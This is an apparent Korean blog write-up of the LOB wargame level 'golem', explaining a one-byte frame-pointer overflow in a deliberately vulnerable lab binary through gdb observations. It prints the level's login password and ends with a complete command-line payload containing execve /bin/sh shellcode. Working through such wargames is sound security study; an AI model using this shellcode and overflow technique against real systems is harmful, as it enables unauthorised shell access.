일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- C++
- go
- C++ library
- 알고리즘
- JUCE 튜토리얼
- 리듬게임
- BOJ
- 프로그래밍
- a tour of go
- C++ gui 라이브러리
- c++ heap
- C++ gui
- C언어
- 공룡책
- 코딩
- Nebula
- OS
- LOB
- tour of go
- JUCE라이브러리
- Docker
- gui
- 자료구조
- JUCE
- 연결리스트
- 운영체제
- 백준
- JUCE library
- vim-go
- go channel
Archives
- Today
- Total
CafeM0ca
[LOB]level11 golem 본문
반응형
입장ID:golem
입장PW:cup of coffee
problem_child에서 1바이트만큼 오버플로우된다.
버퍼오버플로우시킨 후 eip의 흐름을 보자
인자 "\x90"*40+"A"
problem_child+41에 break point를 잡고 ebp를 확인해보면 버퍼에 nop*40+A가 박혀있다.
ebp를 보면 주소가 0xbffffc41다. 41번째 byte는 오버플로우된 바이트고 42,43,44번재 byte는 \xfc\xff\xbf가 박혀있는 상태다. 따라서 41번째 byte를 주소를 잘 맞춰주면 버퍼의 주소를 가르킬 수 있다는 의미고 이는 버퍼에 쉘코드를 올리면 쉘이 실행된다는 의미다.
쉘코드를 올리고 41번째 byte를 54로 맞춰보자.
problem_child 에필로그전 ebp는 쉘코드 주소를 가리키고 있다.
leave명령후 ebp는 쉘코드를 가리키고있다.
main함수의 ret바로 전 레지스터의 상태를 보면 eip는 buffer+4부분을 가리키고있다. eip를 buffer를 가리키게 되면(buffer를 가리키는 포인터 0xbffffc54)쉘이 실행될 듯 하다. 41번째 byte를 0x54-8해주면 된다.
payload
./darkknight `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x4c"'`
반응형
'Hacking > LOB(Red Hat)' 카테고리의 다른 글
[LOB]level13 bugbear (0) | 2018.01.17 |
---|---|
[LOB]level12 darkknight (0) | 2018.01.04 |
[LOB]level10 skeleton (0) | 2018.01.03 |
level9 vampire (0) | 2017.09.14 |
level8 troll (0) | 2017.09.14 |
Comments